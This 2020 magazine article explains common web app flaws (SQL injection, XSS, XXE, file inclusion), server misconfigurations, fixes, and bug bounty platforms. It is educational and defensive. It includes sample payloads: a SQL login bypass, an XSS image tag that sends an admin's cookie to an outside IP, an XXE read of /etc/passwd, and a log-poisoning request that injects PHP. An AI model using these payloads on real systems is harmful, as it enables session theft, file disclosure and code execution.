How to secure your web app

How to secure your web app

Adhyayan Panwar | 23 May 2020

Everyone and their grandmas are online now. And begone are the days of MySpace(of course), Facebook and other social networks and welcome the days of blogs and self-scripted websites. But as the great web hacker Spider-man once said, “With great web-coding powers, comes great security vulnerabilities”. But hey, you can’t afford those vulns now, can you?

So it’s time to refill your web-shooters and shoot down those nasty bugs and loopholes sprawling through the beautiful website that you created to flex on your buddies and to ponder upon the harrowing realization of how vulnerable that website actually was. 

The Bugs:

Since everyone will be interacting with the website before anything else, that’s where most of the attacks happen. Below are the major flaws that are most prominently present on a website:
Major website vulnerabilities:

Injection: When you created the website and meticulously coded it, you did it for the average user who will input data that you expect and that’s where you lose the game. Because hackers will input anything and everything until the website gives in. These malicious inputs are called “injection”. Injections can be targeted towards many services, most popularly SQL/NoSQL(databases), LDAP( a directory access protocol) and OS injections. Let’s look at how injections work. Say you use this query to retrieve authenticate a user with credentials “abc:pass123” from a database:

SELECT * FROM database WHERE user=’abc’ AND password=’pass123’        

If the query result is not empty(i.e, it returns some data. Since user and password combination is unique, it will fetch a row of data), the user is authenticated. Imagine someone put “‘OR 1=1 --” as username and “hacked” as a password. Let’s take a look at the query now:

SELECT * FROM database WHERE user=’‘ OR 1=1 --’ AND password=’hacked’

This changes everything. Because of the single quote, the user is simply a space characterand “ --” is used to denote a comment in MySQL, hence everything after that is disregarded by the SQL parser. And since 1 is always equal to 1, this query will always be executed! Hence, login is bypassed. This is a basic example of SQL injection, to make you understand how inputs can be crafted to exploit services. There are a huge amount of payloads present, which are more complex than the previous one.

Cross Site Scripting (XSS): Aha, the good old XSS. A kind of injection itself, JavaScript injection to be precise, but because of the enormous-ness of the attack, it’s usually considered a category in itself. In XSS attacks, any input that might be displayed later or stored somewhere and retrieved is crafted in such a way that it fools the browser in executing malicious scripts. For example, in a comment section someone puts “<script>alert(“Hacked!”);</script>”, next time someone visits the page, the browser will create a pop-up dialogue box saying “Hacked!” because it thought the comment was something a developer put in(because of the <script></script> tags). But you might be thinking, adverse effects? Well, there certainly are. User sessions, maintained through cookies, can be stolen and can be used to impersonate them. Let’s take it up a notch further. Assume there’s a website where comments are first approved by an admin. So there’s a comment “<img src=x onerror=this.src='http://10.10.14.255:8001/?c='%2bdocument.cookie>”. Let us explain what’s actually happening with this payload. Basically, an image is being inserted with the parameter that will execute the URL if there’s an error in loading the image( the onerror parameter). Since the image source is wrong, the payload makes sure the URL is executed. That last part is what makes it interesting. “document.cookie” will append the cookie that was created when admin logged in, to the URL. A simple HTTP server can be used to log the info. And the admin account is compromised. XSS is categorised into three categories:

Reflected XSS: The simplest form of XSS, where the input payload is executed immediately and might not affect others. The payload is usually injected in an HTTP request. For example, say that the given search URL is vulnerable to XSS: https://insecure-website.com/search?string=Hello, and the output is something like <p>Hello</p> but instead if you send the request https://insecure-website.com/search?string=<script>alert(1);</script> then the response will be immediately visible (reflected). 

Stored XSS: In Stored XSS, also known as persistent XSS, the injected payload is either stored somewhere in a database that might be reflected on a later stage or the payload is embedded into subsequent HTTP requests the webpage makes, hence effectively penetrating the server-side. The scenario we talked about where the admin account was compromised was a case of stored XSS.
DOM-based XSS: A DOM (Document Object Model) in JavaScript is a tree-like structure according to which objects of a webpage are stored.                                                                                                                                       

DOM based XSS attacks are done when some client side script processes data from untrusted source, by usually inserting it back into the DOM. For example,
var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search; 
If you can control the input field then you can easily inject a malicious payload and execute it.

XML External Entities (XXE): Pretty much everyone knows what XML(Extensible Markup Language) is and if you don’t, it’s a markup language like HTML, but instead of focusing on displaying data it’s focused on describing and storing it. It’s a fully customised language, which makes all the XML parses in the wild vulnerable by default. So, it’s up to you, as the developer, to make sure that the XML parser is not parsing and processing any XML thrown at it. A lot of websites use XML to communicate between the browser and the server, and in doing so almost a standard API or a standard library is used for parsing. As told earlier, parsers have these inherently flawed specifications which make them exploitable by default. Let’s go through how XXE actually works. Say the following is an XML specification for a shopping application which is used to check the stock amount of a certain product:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>

Now this XML query doesn’t have any protection against XXE attacks, and hence it can be manipulated to exfiltrate data. What we need to do is declare a DOCTYPE(it is used for declaring entities with a certain document type, which can be used later) that will define an entity with a malicious value(in our case, location to some file). After declaring a custom “xxe” DOCTYPE with the SYSTEM value “ file:///etc/passwd”, the payload will become:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<stockCheck><productId>&xxe; </productId></stockCheck>

This will make the server spit out the content of ‘/etc/passwd’ (this file is present by default on all the Linux machines, containing a list of users available on the system alongside information related to each of them). There are a lot of ways to exploit XXE vulns, with even some cases of XXE being successfully executed through file uploads!

File Inclusion Attacks: Even though these kind of attacks are not included in OWASP top 10  (OWASP is the leading organisation making efforts to improve web application security, check them out: https://owasp.org/), we thought it might be best to include them here since we have encountered them in a lot of websites. There are mainly two types of file inclusion attacks: Local and Remote. As the name suggests, in LFI(Local File Inclusion) allows the attacker to read files present on the localhost of the website (i.e the web server). This can lead to exposure of source code and other important files. Similarly, RFI (Remote File Inclusion) lets a file served by the attacker executed by the website, thinking as its own. This is more serious, as while LFI only allows READ access while using RFI, the attacker can execute maliciously crafted scripts. 

But hackers are one of the most relentless of the human forms. Even though LFI only lets you read the contents of the files, if you mix some genius with it the results can be damaging.  Every web server based on Linux has a file ‘proc/self/environ’ which logs the HTTP requests made to the server. If you have seen an HTTP request before, it contains a ‘User-Agent’ field which holds the browser metadata. Yes, you guessed it right, user-agents are completely customisable. There, you got write access and you didn’t even realise it. For example, using an already existing LFI, you are able to read the ‘/proc/self/environ’ file and it contains something like this:
……….HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00…….  

The next request you make, using any HTTP request editor tool(BURP Suite is highly recommended), change the ‘User-Agent’ field to some php code:
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?php phpinfo(); ?>

Next time you access this file using LFI, the browser will parse the php code and execute it, essentially giving you remote code execution (RCE). This is one of the techniques that fall under “log poisoning”, where creating custom requests payloads are injected into log files, which in turn gets executed when the logs are accessed through and already present vulnerability. For example, apache access logs are stored at ‘/var/log/apache2/access.log’ and with a crafted HTTP request, this file can also be used to get remote code execution.

There is an ocean of web application vulnerabilities and explaining, even listing all of them, is beyond this article’s scope. The ones we mentioned are the easiest to creep in your code and also the most damaging. Here are some resources which will expand your knowledge about web application security:
https://dgit.in/owasptop10
https://dgit.in/portswigger

Alright, now we have secured your interface. But the problems don’t end here, you need to secure the backend too. Since today most of the websites are cloud-based and backend services are maintained by them unless there’s some 0day (0day vulnerabilities are unknown to the software vendors) vulnerability is uncovered, most of the backends are secure. We’ll cover the misconfigurations that might allow hackers to wreak havoc, for the sake of the good ol' days of system admins screwing things up and people who still today like getting their hands dirty, but we’ll keep it brief.

Major server misconfigurations: 

Privilege Management: This is the part where most people weaken their systems. Giving unnecessary permissions to services can lead to abuse of power once intruders break-in.

Unnecessary services: By default, operating systems come with a lot of services, most of them are not required for a normal user. And if they are left to install, they can turn into weapons if encountered by hackers because they wouldn’t have been properly configured because they weren’t required in the first place.

Default credentials: This exists solely for reason: humans are lazy. And believe us, there are a lot of servers running around the world with services having default credentials. Logging service, databases, routers, and whatnot. Just because one lazy afternoon the IT guy wasn’t “feeling it”. 

Unpatched software: Known vulnerabilities spread like wildfire in the hacker community. Older vulnerable software/binaries lingering in your system can lead to quick and efficient circumvention of your security measures since these days PoC (proof-of-concept, a working exploit that is developed during 0day discoveries) code is available due to public disclosure policies, which can prove lethal with little tweaking to make it compatible with the given system.
Now that you have the diseases listed and diagnosis ready, it’s time to implement the cure.

The Bug-Squashing:

Security solutions always span categories. There are certain procedures that ensure heightened security and minimise the overall damage to the system: 

Sanitising inputs: This is the holy grail, the “ramban”, to make sure your systems aren’t getting fooled by some script kiddie copy-pasting payloads. There’s an old saying in security circles “Treat every input like it’s malicious”. Research major vulnerabilities, how they are exploited and create your own whitelist/blacklist counter-measures to allow/disallow the characters that are used in the payloads. Input sanitisation is the easiest and most effective solution against XSS, LFIs, and all other numerous injections.

Uninstallation of unnecessary services: If something’s not required, it should not be there, simple as that. Clutter leads to loose ends and you don’t want that. (We sound like mobsters, don’t we?)
Set up a honeypot: Feeling experiment-ish? This is for you. A “honeypot” is a trap. A fake vulnerable subsystem of your actual web server used to lure the attacker and then hold him hostage. Honeypots contain dummy data without any damaging consequence, it’s a “rabbit hole”. 

Isolation of environments: Keep testing/development environment isolated from the production environment, so that the risk is localised. This ensures that even if someone is able to intrude in they won't be able escalate their powers and cause damage to the live website.

Use of automated scanners: Even though using secure code practices is a good way to make your end result less prone to vulnerabilities, many little bugs creep past the human eye and persist in the code. That's where automated scanners come in. These are special tools, created specifically for scanning web applications and reporting exploitable content they find. Here's a list of popular ones:
• Acunetix WVS (Commercial/Free)
• NetSparker (Commercial)
• Arachni (Open Source)
• Vega (Open Source)
• Qualys (Commercial)
• Wapiti (Open Source)

Privilege Management: If you remember devworx from December issue last year, we talked about how privilege mismanagement can lead to hackers compromising administrator accounts and complete system takeover. Which makes proper privilege and permissions configuration even more important. It is advisable to follow the "Principle of Least Privilege", according to which only the minimum required permissions are provided and nothing more. Remember to take care of rogue permission, which may seem benign, but may lead to privilege escalation attacks.

Log management: Logging helps in monitoring the web application. Are any attempts being made to break in? Are the application spitting strange errors? All these answers are logged. Alongside logging, regular auditing of these logs is also crucial.

Software patches: The simplest and easiest way to increase the security of your web system. Vendors are quick and efficient in releasing security updates for their software, all you have to do is regularly install them. Automation can be used to make this process something you can forget about (*cough* cron jobs *cough*)

Staying informed: Security is an ever-transient field. People are discovering loopholes, exploits are being written. This happens on a daily basis. Stay informed about the technologies you are using and their impact on the web application.
Following the above ensures the best security you can get. But remember, these are not one time steps. These are periodical activities, that’s why big organisations hire whole teams to ensure that their applications are secure. When on the Internet, treat every input as malicious and every user a potential adversary.  When defending crucial information, a bit of fear is necessary and leads to better fortification, but remember -  you are never secure enough.

Bug Bounties 

Now that you have secured your web application and perfected your web security skills, let’s take it a notch further. Don’t be surprised when we tell you that big corporations are saying “Come hack us!” with open arms. Yes, you heard it right! Everyone is embracing the hacker culture and freelance white hat hacking industry is booming. HackerOne, one of the leading Bug Bounty platforms, has had $110 million in funding now with an estimated $3.8 million yearly revenue. That’s just a single platform! And the hackers are paid for each bug they report. So, you earn money while hacking? Who would have thought, but the answer is yes. The 90s underground would have been proud.

Leading platforms:
Here’s a list of the hacker-powered public bug-bounty and pentest platforms. We have included the ones having a demonstrated history of well-reputed programs and compensation to hackers, and are respected in the community. 

HackerOne [www.hackerone.com]: One of the earliest bug bounty platforms, they can very well be called the industry disruptors. Founded in 2012 by two hackers who were on a mission to hack the Top 100 firms. While most firms ignored their reports, Facebook came forward and took the initiative and hence HackerOne was born. And now, after 8 years and $31 million in paid bounties, it’s stronger than ever. The website has public programs from reputed companies, ranging from PayPal to GitHub, Hyatt Hotels to government agencies. Bounty rate and severity are determined by the companies, and the payment is only done if the bug is deemed worthy enough and is not duplicate. The web interface is extremely user friendly and the programs are explained in minute details, with information about out-of-scope vulnerabilities, guidelines on submission and safe harbour guidelines in case the company, in whose program you are trying to find vulnerabilities in, decides to sue you. You can start right now, just sign up and hack away.

BugCrowd[www.bugcrowd.com]: Alongside HackerOne, BugCrowd was the earliest entrant into public bug bounty platforms. Advertised to the corporations as “Your Elastic Security Team”, the diversity in program is impressive. Similar to HackerOne, a list of programs is provided with details. Some programs are “points only”, meaning they don’t provide bounties but points which can be exchanged for swag(stickers, t-shirts, mugs, etc) on the BugCrowd website. Programs either provide full safe harbour or partial safe harbour. Here also there are no restrictions on signing up, you can start as soon as you want.

Intigriti[www.intigriti.com]: Europe-focused platform, with a hacker community having security experts from all over the world. Intigriti has all the features that other platforms have and then some. A leaderboard is present which showcases the best hackers on the platform. Their community involvement is excellent. BugBytes is their weekly newsletter, showcasing the hot trends, vulnerabilities, curated list of articles and write-ups and a great assortment of everything web-application security. Once in a while, they put a CTF kind of question on their Twitter handle, where you need to find a vulnerability present in the given code or interface. Winner gets an invite to a private program. It's a pretty good way to communicate with the community and in turn you get to test your skills.

Synack[www.synack.com]: Synack was founded in 2013 by two former NSA agents. Following the same model as the other platforms, Synack is a trusted crowdsourced platform. A special team of freelance hackers, called Synack Red Team is present where members get to work on high paying programs with less competition. But it’s an invite only club, where you need to prove your mettle before Synack spots you and you get an invitation. Other than that, there are numerous public programs where you can try your skills.

As we talked about private programs in the Synack part, all other platforms also have private programs. These are invite only, but extremely hard to get in. The benefits here are the competition is less, more vulnerabilities can be discovered with less chances of them being duplicate entries. But only after you have some bounties to your name already, you’ll get the invite. So keep hustling, there’s money to be made.
 
Learning Resources:
Intigriti Hackademy[https://go.intigriti.com/hackademy]
Hacker101[https://www.hacker101.com/] 
BugCrowd University[https://www.bugcrowd.com/hackers/bugcrowd-university/]
Web Security Academy[https://portswigger.net/web-security]
Congratulations, you are now a hacker (or a web application security analyst, if you want to sound more professional). From scripting and securing web applications of your own to freelancing and breaking into big corporations to get paid, there's a whole vibrant world of ethical hacking waiting for you. Happy Hacking!
 

logo
Adhyayan Panwar

Digit caters to the largest community of tech buyers, users and enthusiasts in India. The all new Digit in continues the legacy of Thinkdigit.com as one of the largest portals in India committed to technology users and buyers. Digit is also one of the most trusted names when it comes to technology reviews and buying advice and is home to the Digit Test Lab, India's most proficient center for testing and reviewing technology products.

We are about leadership-the 9.9 kind! Building a leading media company out of India.And,grooming new leaders for this promising industry.

DMCA.com Protection Status